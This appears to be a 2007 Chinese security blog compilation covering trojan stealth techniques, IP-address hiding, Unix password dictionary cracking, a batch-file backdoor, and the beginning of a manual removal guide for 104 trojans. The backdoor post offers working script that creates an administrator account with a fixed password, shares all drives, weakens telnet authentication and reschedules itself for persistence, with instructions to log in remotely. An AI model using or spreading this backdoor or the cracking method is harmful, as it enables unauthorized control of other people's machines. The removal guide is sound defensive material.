木马加载的方式可以说千奇百怪，无奇不有。但殊途同归，都为了达到一个共同的目的，那就是使你运行木马的服务端程序。如果木马不做任何伪装，就告诉你这是木马，你会运行它才怪呢。而随着网站互动化避程的不断进步，越来越多的东西可以成为木马的传播介质，Java Script、VBScript、ActiveX.XLM....几乎WWW每一个新功能部会导致木马的快速进化。

6.最新隐身技术

在Win9x时代，简单地注册为系统进程就可以从任务栏中消失，可是在Windows2000盛行的今天。这种方法遭到了惨败。注册为系统进程不仅仅能在任务栏中看到，而且可以直接在Services中直接控制停止。运行(太搞笑了，木马被客户端控制)。使用隐藏窗体或控制台的方法也不能欺骗无所不见的Admlin大人(要知道，在NT下，Administrator是可以看见所有进程的)。在研究了其他软件的长处之后，木马发现，Windows下的中文汉化软件采用的陷阱技术非常适合木马的使用。

这是一种更新、更隐蔽的方法。通过修改虚拟设备驱动程序(VXD)或修改动态遵掇库 (DLL)来加载木马。这种方法与一般方法不同，它基本上摆脱了原有的木马模式---监听端口，而采用替代系统功能的方法(改写vxd或DLL文件)，木马会将修改后的DLL替换系统已知的DLL，并对所有的函数调用进行过滤。对于常用的调用，使用函数转发器直接转发给被替换的系统DLL，对于一些相应的操作。实际上。这样的事先约定好的特种情况，DLL会执行一般只是使用DLL进行监听，一旦发现控制端的请求就激活自身，绑在一个进程上进行正常的木马操作。这样做的好处是没有增加新的文件，不需要打开新的端口，没有新的进程，使用常规的方法监测不到它。在往常运行时，木马几乎没有任何瘫状，且木马的控制端向被控制端发出特定的信息后，隐藏的程序就立即开始运作。

特洛伊木马具有的特性

1.包含干正常程序中，当用户执行正常程序时，启动自身，在用户难以察觉的情况下，完成一些危害用户的操作，具有隐蔽性。

由于木马所从事的是 "地下工作"，因此它必须隐藏起来，它会想尽一切办法不让你发现它。很多人对木马和远程控制软件有点分不清，还是让我们举个例子来说吧。我们进行局域网间通讯的常用软件PCanywhere大家一定不陌生吧?我们都知道它是一款远程控制软件。PCanywhere比在服务器端运行时，客户端与服务器端连接成功后，客户端机上会出现很醒目的提示标志;而木马类的软件的服务器端在运行的时候应用各种手段隐藏自己，不可能出现任何明显的标志。木马开发者早就想到了可能暴露木马踪迹的问题，把它们隐藏起来了。例如大家所熟悉木马修改注册表和而文件以便机器在下一次启动后仍能载入木马程式，它不是自己生成一个启动程序，而是依附在其他程序之中。有些木马把服务器端和正常程序绑定成一个程序的软件，叫做exe-binder绑定程序，可以让人在使用绑定的程序时，木马也入侵了系统。甚至有个别木马程序能把它自身的exe文件和服务端的图片文件绑定，在你看图片的时候，木马便侵人了你的系统。它的隐蔽性主要体现在以下两个方面:

(1)不产生图标

木马虽然在你系统启动时会自动运行，但它不会在 "任务栏"中产生一个图标，这是容易理解的，不然的话，你看到任务栏中出现一个来历不明的图标，你不起疑心才怪呢!

(2)木马程序自动在任务管理器中隐藏，并以"系统服务"的方式欺骗操作系统。

2.具有自动运行性。

木马为了控制服务端。它必须在系统启动时即跟随启动，所以它必须潜人在你的启动配置文件中，如win.ini、system.ini、winstart.bat以及启动组等文件之中。

3.包含具有未公开并且可能产生危险后果的功能的程序。

4.具备自动恢复功能。

现在很多的木马程序中的功能模块巴不再由单一的文件组成，而是具有多重备份，可以相互恢复。当你删除了其中的一个，以为万事大吉又运行了其他程序的时候，谁知它又悄然出现。像幽灵一样，防不胜防。

5.能自动打开特别的端口。

木马程序潜人你的电脑之中的目的主要不是为了破坏你的系统，而是为了获取你的系统中有用的信息，当你上网时能与远端客户进行通讯，这样木马程序就会用服务器客户端的通讯手段把信息告诉黑客们，以便黑客们控制你的机器，或实施进一步的人侵企图。你知道你的电脑有多少个端口?不知道吧?告诉你别吓着:根据TCP/IP协议，每台电脑可以有256乘以256个端口，也即从0到65535号 "门"，但我们常用的只有少数几个，木马经常利用我们不大用的这些端口进行连接，大开方便之 "门"。

6、功能的特殊性。

通常的木马功能都是十分特殊的，除了普通的文件操作以外，还有些木马具有搜索cache中的口令、设置口令、扫描目标机器人的IP地址、进行键盘记录、远程注册表的操作以及锁定鼠标等功能。上面所讲的远程控制软件当然不会有这些功能，毕竟远程控制软件是用来控制远程机器，方便自己操作而已，而不是用来黑对方的机器的。

yiye 2007-05-20 14:02 发表评论

如何有效防范IP地址泄漏

yiye — Sun, 20 May 2007 06:01:00 GMT

在正式进行各种“黑客行为”之前，黑客会采取各种手段，探测(也可以说“侦察”)对方的主机信息，以便决定使用何种最有效的方法达到自己的目的。如何防范自己的IP地址泄漏呢？
　　获取IP

　　“IP”作为Net用户的重要标示，是黑客首先需要了解的。获取的方法较多，黑客也会因不同的网络情况采取不同的方法，如：在局域网内使用Ping指令，Ping对方在网络中的名称而获得IP；在Internet上使用IP版的QQ直接显示。而最“牛”，也是最有效的办法是截获并分析对方的网络数据包。这是用Windows 2003的网络监视器捕获的网络数据包，可能一般的用户比较难看懂这些16进制的代码，而对于了解网络知识的黑客，他们可以找到并直接通过软件解析截获后的数据包的IP包头信息，再根据这些信息了解具体的IP。

　　隐藏IP

　　虽然侦察IP的方法多样，但用户可以隐藏IP的方法同样多样。就拿对付最有效的“数据包分析方法”而言，就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点，譬如：它耗费资源严重，降低计算机性能；在访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP的方法应该是使用代理，由于使用代理服务器后，“转址服务”会对发送出去的数据包有所修改，致使“数据包分析”的方法失效。一些容易泄漏用户IP的网络软件(QQ、MSN、IE等)都支持使用代理方式连接Internet，特别是QQ使用“ezProxy”等代理软件连接后，IP版的QQ都无法显示该IP地址。这里笔者介绍一款比较适合个人用户的简易代理软件??网络新手IP隐藏器(如图2)，只要在“代理服务器”和“代理服务器端”填入正确的代理服务器地址和端口，即可对http使用代理，比较适合由于IE和QQ泄漏IP的情况。

　　不过使用代理服务器，同样有一些缺点，如：会影响网络通讯的速度；需要网络上的一台能够提供代理能力的计算机，如果用户无法找到这样的代理服务器就不能使用代理(查找代理服务器时，可以使用“代理猎手”等工具软件扫描网络上的代理服务器)。

　　虽然代理可以有效地隐藏用户IP，但高深的黑客亦可以绕过代理，查找到对方的真实IP地址，用户在何种情况下使用何种方法隐藏IP，也要因情况而论。

yiye 2007-05-20 14:01 发表评论

黑客入侵的基础：口令入侵法

yiye — Sun, 20 May 2007 06:01:00 GMT

要入侵系统首先阻碍我们的将是网络管理员的第一道安全防线——合法的用户名与口令，它决定于你在该网站的权限，所以口令入侵法可以说是黑客的基础，对于一个刚开始学习HACK的网友这篇文章可能会让你大有所进。
当我们要试着解密之前我们得先来了解一下加密的过程，兼于加密方法的种类之多，我们就讲一下标准的UNIX加密技术，但关于DES加密技术的材料很少这主要是IBM应美国国家安全局的要求把某些文档定为了国家机密文档，而UNIX下的一个加密程序Crypt(3)却广泛的流传，甚至它的源代码随处可得，它的加密过程如下：
1.以明码正文形式取出口令。
2.把口令作为关键词，用一系列的“0”进行敝屏加密。
3.把一个64位二进制值转变成以56位为变量基础的唯一的64位二进制值，作为关键字再加密。
鉴于CRYPT（3）的加密随机性之大，56位关键字的存在可能性超过7×10E16种，所以想要逆向解码是不可能的。但是否真的无解了呢？错！
我们可以用比较法，其方法如下：
1.获得一个字典文件，它是一个单词表。
2.把这些单词用用户的加密程序进行加密（符合DES标准〕。
3.把每个单词加密后的结果与目标加密后的结果进行比较。
如果匹配，则该单词就是加密关键字。现在已经有了一些程序能帮助我们完成上面的工作，使解密变的由其简单，而我们要作的就是把加密后的口令文件抓回来。这类软件常用的有Carck、Jack14、Joun。

yiye 2007-05-20 14:01 发表评论

用批处理写的后门永不被杀

yiye — Sun, 20 May 2007 05:59:00 GMT

作者：xyt　　　

代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了，代码如下：
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm

@net stop schedule
@net start Schedule
@echo at 11:00 c:/WINNT/SYSTEM32/log.bat > c:/WINNT/SYSTEM32/xyt.bat
@echo at 23:00 c:/WINNT/SYSTEM32/log.bat >> c:/WINNT/SYSTEM32/xyt.bat
@at 11:05 c:/WINNT/SYSTEM32/xyt.bat
@at 23:05 c:/WINNT/SYSTEM32/xyt.bat
@net stop telnet
@net start telnet
@exit

这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
运行后TELNET IP上去，用户名为xyt，密码为hacker。

yiye 2007-05-20 13:59 发表评论

104种木马手工清除方法

yiye — Sun, 20 May 2007 05:55:00 GMT

1. 冰河v1.1 v2.2
冰河是国产最好的木马
清除木马v1.1
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
查找以下的两个路径，并删除
" C:/windows/system/ kernel32.exe"
" C:/windows/system/ sysexplr.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:/windows/system/ kernel32.exe和C:/windows/system/ sysexplr.exe木马程序
重新启动。OK
清除木马v2.2
服务器程序、路径用户是可以随意定义，写入注册表的键名也可以自己定义。
因此，不能明确说明。
你可以察看注册表，把可疑的文件路径删除。
重新启动到MSDOS方式
删除于注册表相对应的木马程序
重新启动Windows。OK
2. Acid Battery v1.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的Explorer ="C:/WINDOWS/expiorer.exe"
关闭Regedit
重新启动到MSDOS方式
删除c:/windows/expiorer.exe木马程序
注意：不要删除正确的ExpLorer.exe程序，它们之间只有i与L的差别。
重新启动。OK
3. Acid Shiver v1.0 + 1.0Mod + lmacid
清除木马的步骤：

重新启动到MSDOS方式
删除C:/windows/MSGSVR16.EXE
然后回到Windows系统
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的Explorer = "C:/WINDOWS/MSGSVR16.EXE"
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
删除右边的Explorer = "C:/WINDOWS/MSGSVR16.EXE"
关闭Regedit
重新启动。OK

重新启动到MSDOS方式
删除C:/windows/wintour.exe然后回到Windows系统
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的Wintour = "C:/WINDOWS/WINTOUR.EXE"
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
删除右边的Wintour = "C:/WINDOWS/WINTOUR.EXE"
关闭Regedit
重新启动。OK
4. Ambush
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的zka = "zcn32.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:/Windows/ zcn32.exe
重新启动。OK
5. AOL Trojan
清除木马的步骤：

启动到MSDOS方式
删除C:/ command.exe（删除前取消文件的隐含属性）
注意：不要删除真的command.com文件。
删除C:/ americ~1.0/buddyl~1.exe（删除前取消文件的隐含属性）
删除C:/ windows/system/norton~1/regist~1.exe（删除前取消文件的隐含属性）

打开WIN.INI文件
在[WINDOWS]下面"run="和"load="都加载者特洛伊木马程序的路径，必须清除它们：
run=
load=
保存WIN.INI

还要改正注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的WinProfile = c:/command.exe
关闭Regedit，重新启动Windows。OK
6. Asylum v0.1, 0.1.1, 0.1.2, 0.1.3 + Mini 1.0, 1.1
清除木马的步骤：

注意：木马程序默认文件名是wincmp32.exe，然而程序可以随意改变文件名。
我们可以根据木马修改的system.ini和win.ini两个文件来清除木马。
打开system.ini文件
在[BOOT]下面有个"shell=文件名"。正确的文件名是explorer.exe
如果不是"explorer.exe"，那么那个文件就是木马程序，把它查找出来，删除。
保存退出system.ini
打开win.ini文件
在[WINDOWS]下面有个run=
如果你看到=后面有路径文件名，必须把它删除。
正确的应该是run=后面什么也没有。
=后面的路径文件名就是木马，把它查找出来，删除。
保存退出win.ini。
OK
7. AttackFTP
清除木马的步骤：

打开win.ini文件
在[WINDOWS]下面有load=wscan.exe
删除wscan.exe ，正确是load=
保存退出win.ini。

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的Reminder="wscan.exe /s"
关闭Regedit，重新启动到MSDOS系统中
删除C:/windows/system/ wscan.exe
OK
8. Back Construction 1.0 - 2.5
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的"C:/WINDOWS/Cmctl32.exe"
关闭Regedit，重新启动到MSDOS系统中
删除C:/WINDOWS/Cmctl32.exe
OK
9. BackDoor v2.00 - v2.03
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的‘c:/windows/notpa.exe /o=yes‘
关闭Regedit，重新启动到MSDOS系统中
删除c:/windows/notpa.exe
注意：不要删除真正的notepad.exe笔记本程序
ＯＫ
10. BF Evolution v5.3.12
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的(Default)=" "
关闭Regedit，再次重新启动计算机。
将C:/windows/system/ .exe（空格exe文件）
ＯＫ
11. BioNet v0.84 - 0.92 + 2.21

0.8X版本是运行在Win95/98
0.9X以上版本有运行在Win95/98 和WinNT上两个软件
客户－服务器协议是一样的，因而NT客户能黑95/98被感染的机器，和Win95/98客户能黑NT被感染的系统完全一样。
清除木马的步骤：
首先准备一张98的启动盘，用它启动后，进入c:/windows目录下，用attrib libupd~1.exe -h
命令让木马程序可见，然后删除它。
抽出软盘后重新启动，进入98下，在注册表里找到：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
的子键WinLibUpdate = "c:/windows/libupdate.exe -hide"
将此子键删除。

12. Bla v1.0 - 5.03
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的Systemdoor = "C:/WINDOWS/System/mprdll.exe"
关闭Regedit，重新启动计算机。
查找到C:/WINDOWS/System/mprdll.exe和
C:/WINDOWS/system/rundll.exe
注意：不要删除C:/WINDOWS/RUNDLL.EXE正确文件。
并删除两个文件。
OK
13. BladeRunner
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
可以找到System-Tray = "c:/something/something.exe"
右边的路径可能是任何东西，这时你不需要删除它，因为木马会立即自动加上，你需要的是记下木马的名字与目录，然后退回到MS-DOS下，找到此木马文件并删除掉。
重新启动计算机，然后重复第一步，在注册表中找到木马文件并删除此键。

14. Bobo v1.0 - 2.0
清除木马v1.0
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除右边的DirrectLibrarySupport ="C:/WINDOWS/SYSTEM/Dllclient.exe"
关闭Regedit，重新启动计算机。
DEL C:/Windows/System/Dllclient.exe
OK

清除木马v2.0
打开注册表Regedit
点击目录至：
HKEY_USER/.Default/Software/Mirabilis/ICQ/Agent/Apps/ICQ Accel/
ICQ Accel是一个“假象“的主键，选中ICQ Accel主键并把它删除。
重新启动计算机。OK
15. BrainSpy vBeta
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
右边有 ??? = "C:/WINDOWS/system/BRAINSPY .exe"
???标签选是随意改变的。
关闭Regedit，重新启动计算机
查找删除C:/WINDOWS/system/BRAINSPY .exe
ＯＫ
16. Cain and Abel v1.50 - 1.51
这是一个口令木马

进入MS-DOS方式
查找到C:/windows/msabel32.exe
并删除它。ＯＫ
17. Canasson
清除木马的步骤：

打开WIN.INI文件
查找c:/msie5.exe，删除全部主键
保存win.ini
重新启动计算机
删除c:/msie5.exe木马文件
ＯＫ
18. Chupachbra
清除木马的步骤：

打开WIN.INI文件
[Windows]的下面有两个行
run=winprot.exe
load=winprot.exe
删除winprot.exe
run=
load=
保存Win.ini，再打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/MicroSoft/Windows/CurrentVersion/Run
删除右边的‘System Protect‘ = winprot.exe
重新启动Windows
查找到C:/windows/system/ winprot.exe，并删除。
ＯＫ
19. Coma v1.09
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/MicroSoft/Windows/CurrentVersion/Run
删除右边的‘RunTime‘ = C:/windows/msgsrv36.exe
重新启动Windows
查找到C:/windows/ msgsrv36.exe，并删除。
ＯＫ
20. Control
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/MicroSoft/Windows/CurrentVersion/Run
删除右边的Load MSchv Drv = C:/windows/system/MSchv.exe
保存Regedit，重新启动Windows
查找到C:/windows/system/MSchv.exe，并删除。
ＯＫ
21. Dark Shadow
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/MicroSoft/Windows/CurrentVersion/RunServices
删除右边的winfunctions="winfunctions.exe"
保存Regedit，重新启动Windows
查找到C:/windows/system/ winfunctions.exe，并删除。
ＯＫ
22. DeepThroat v1.0 - 3.1 + Mod (Foreplay)
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/MicroSoft/Windows/CurrentVersion/Run
版本1.0
删除右边的项目‘System32‘=c:/windows/system32.exe
版本2.0-3.1
删除右边的项目‘SystemTray‘ = ‘Systray.exe‘
保存Regedit，重新启动Windows
版本1.0删除c:/windows/system32.exe
版本2.0-3.1
删除c:/windows/system/systray.exe
ＯＫ
23. Delta Source v0.5 - 0.7
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/MicroSoft/Windows/CurrentVersion/Run
删除右边的项目：DS admin tool = C:/TEMPSERVER.exe
保存Regedit，重新启动Windows
查找到C:/TEMPSERVER.exe，并删除它。
ＯＫ
24. Der Spaeher v3
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/MicroSoft/Windows/CurrentVersion/Run
删除右边的项目：explore = "c:/windows/system/dkbdll.exe "
保存Regedit，重新启动Windows
删除c:/windows/system/dkbdll.exe木马文件。
ＯＫ
25. Doly v1.1 - v1.7 (SE)
清除木马V1.1-V1.5版本：

这几个木马版本的木马程序放在三处，增加二个注册项目，还增加到Win.ini项目。
首先，进入MS-DOS方式，删除三个木马程序，但V1.35版本多一个木马文件mdm.exe。
把下列各项全部删除：
C:/WINDOWS/SYSTEM/tesk.sys
C:/WINDOWS/Start Menu/Programs/Startup/mstesk.exe
c:/Program Files/MStesk.exe
c:/Program Files/Mdm.exe
重新启动Windows。

接着，打开win.ini文件
找到[WINDOWS]下面load=c:/windows/system/tesk.exe项目，删除路径，改变为load=
保存win.ini文件。

最后，修改注册表Regedit
找到以下两个项目并删除它们
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
Ms tesk = "C:/Program Files/MStesk.exe"
和
HKEY_USER/.Default/Software/Microsoft/Windows/CurrentVersion/Run
Ms tesk = "C:/Program Files/MStesk.exe"
再寻找到HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/ss
这个组是木马的全部参数选择和设置的服务器，删除这个ss组的全部项目。
关闭保存Regedit。
还有打开C:/AUTOEXEC.BAT文件，删除
@echo off copy c:/sys.lon c:/windows/StartMenu/Startup Items/
del c:/win.reg
关闭保存autoexec.bat。
ＯＫ

清除木马V1.6版本：
该木马运行时，将不能通过98的正常操作关闭，只能RESET键。彻底清除步骤如下：
1．打开控制面板——添加删除程序——删除memory manager 3.0，这就是木马程序，但是它并不会把木马的EXE文件删除掉。
2．用98或DOS启动盘启动（用RESET键）后，转入C:/，编辑AUTOEXEC。BAT，把如下内容删除：
@echo off copy c:/sys.lon c:/windows/startm~1/programs/startup/mdm.exe
del c:/win.reg
保存AUTOEXEC。BAT文件并返回DOS后，在C：/根目录下删除木马文件：
del sys.lon
del windows/startm~1/programs/startup/mdm.exe
del progra~1/mdm.exe
3．抽出软盘重新启动，进入98后，把c:/program files/目录下的memory manager 目录删除。

清除木马V1.7版本：
首先，打开C:/AUTOEXEC.BAT文件，删除
@echo off copy c:/sys.lon c:/windows/startm~1/programs/startup/mdm.exe
del c:/win.reg
关闭保存autoexec.bat

然后打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/MicroSoft/Windows/CurrentVersion/Run
找到c:/windows/system/mdm.exe路径并删除这个项目
点击目录至：
HKEY_USER/.Default/Software/Marabilis/ICQ/Agent/Apps/
找到"C:/windows/system/kernal32.exe"路径并删除这个项目
关闭保存Regedit。重新启动Windows。

最后，删除以下木马程序：
c:/sys.lon
c:/iecookie.exe
c:/windows/start menu/programs/startup/mdm.exe
c:/program files/mdm.exe
c:/windows/system/mdm.exe
c:/windows/system/kernal32.exe
注意：kernal32是Ａ
ＯＫ

26. Donald Dick v1.52 - 1.55
清除木马V1.52-1.53版本：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/system/CurrentControlSet/Services/VxD/VMLDIR/
删除右边的项目：StaticVxD = "vmldir.vxd"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/System/vmldir.vxd
ＯＫ

清除木马V1.54-1.55版本：

这两个版本跟上面的版本只是默认文件名不同，其它都一样，
把vmldir.vxd改为intld.vdx即可。
27. Drat v1.0 - 3.0b
清除木马的步骤：

打开注册表Regedit
点击目录至：hkey_classes_root/exefile/shell/open/command
找到@=SHELL32 /"%1/" %*把它更改为@="%1" %*
关闭保存Regedit，重新启动Windows。
查找c:/windows/下shell32．＊文件，并删除它。
ＯＫ
28. Eclipse 2000
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：bybt = "c:/windows/system/eclipse2000.exe"
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/ RunServices/
删除右边的项目：cksys = "c:/windows/system/ could be anything .exe"
关闭保存Regedit，重新启动Windows
查找到eclipse2000.exe木马文件，并删除

29. Eclypse v1.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Rnaapp ="C:/WINDOWS/SYSTEM/rmaapp.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/SYSTEM/rmaapp.exe
注意：不要删除Rnaapp.exe
ＯＫ
30. Executer v1
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
在右边的项目查找到"C:/windows/sexec.exe"，并删除。
关闭保存Regedit，重新启动Windows
相应删除木马程序文件。
ＯＫ
31. FakeFTP beta
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Rundll32 = rundll3.tww /h
关闭保存Regedit，重新启动Windows
找到C:/windows/文件夹下的三个文件并删除它们
rundll3.bat - 9x.reg - nt.reg
ＯＫ
32. Forced Entry
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：MicrosoftRegistration32 = "C:/somepath /trojanhrs.exe"
关闭保存Regedit，重新启动Windows
由于路径容易改变，只要查找到trojanhrs.exe，并删除它。
33. GateCrasher v1.0 - 1.2
清除木马v1.0：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Explore=‘c:/windows/explore.exe‘
关闭保存Regedit，重新启动Windows
然后，删除相应的木马程序。
ＯＫ

清除木马v1.1：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Inet=‘EXPLORE.EXE‘
关闭保存Regedit，重新启动Windows
然后，找到相应的木马程序，并删除。
ＯＫ

清除木马v1.2：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Command = ‘c:/windows/system.exe‘

关闭保存Regedit，重新启动Windows
然后，找到相应的木马程序，并删除。
ＯＫ
34. Girlfriend v1.3x (Including Patch 1 and 2)
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Windll.exe ="C:/windows/windll.exe"
Regedit里也保存着服务器的数据
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/General
删除General项目标题
关闭保存Regedit，重新启动Windows
然后，找到相应的木马程序，并删除。
ＯＫ
35. Golden Retreiver v1.1b
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Task Manager="c:/mstask.exe"
关闭保存Regedit，重新启动Windows
然后，找到相应的木马程序，并删除。
ＯＫ
36. Hack`a`Tack 1.0 - 2000
清除木马v1.0-1.2：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Explorer32 ="C:/windows/Expl32.exe"
关闭保存Regedit，重新启动Windows
然后，找到相应的木马程序，并删除。
ＯＫ

清除木马v2000：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Configuration Wizard = c:/windows/cfgwiz32.exe
关闭保存Regedit，重新启动Windows
删除c:/windows/cfgwiz32.exe
ＯＫ
37. Hack99 KeyLogger
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：HKeyLog = "C:/Windows/System/HKeyLog.exe"
关闭保存Regedit，重新启动Windows
删除C:/Windows/System/HKeyLog.exe
ＯＫ
38. HostControl v1.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：RegClean = "c:/windows/inf/regcle32.exe"
关闭保存Regedit，重新启动Windows
删除c:/windows/inf/regcle32.exe
ＯＫ
39. Hvl Rat v5.30
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Explorer = "C:/WINDOWS/system/MSGSVR16.EXE"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/system/MSGSVR16.EXE
ＯＫ
40. ik97 v1.2
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：ik = ‘c:/progra~1/ik/ik.exe‘
关闭保存Regedit，重新启动Windows
删除C:/Program Files/ik/ik.exe
ＯＫ
41. InCommand v1.0 - 1.5
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
找到右边的项目：AdvancedSettings = *
注意：*表示就是木马的存放路径与文件名，记下后删除此键。
关闭保存Regedit，重新启动Windows
按照刚才记下的木马路径与文件名删除木马程序。
42. IndocTrination v0.1 - v0.11
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce/
每项标题都包括Msgsrv16 ="Msgsrv16"项目
删除每个项目
关闭保存Regedit，重新启动Windows
删除C:/windows/system/msgserv16.exe
ＯＫ
43. inet v2.0 - 2.0n
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Explorer = "C:/WINDOWS/system/inet.exe"
关闭保存Regedit，重新启动Windows
删除"C:/WINDOWS/system/inet.exe"
删除"C:/WINDOWS/system/inet.dll"
ＯＫ
44. Infector v1.0 - 1.42
清除木马的步骤：

打开system.ini文件
找到shell=explorer.exe c:/path/to/trojan.exe项目
改为：shell=explorer.exe
保存关闭system.ini文件，重新启动Windows
删除c:/path/to/trojan.exe
ＯＫ
45. iniKiller v1.2 - 3.2 Pro
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
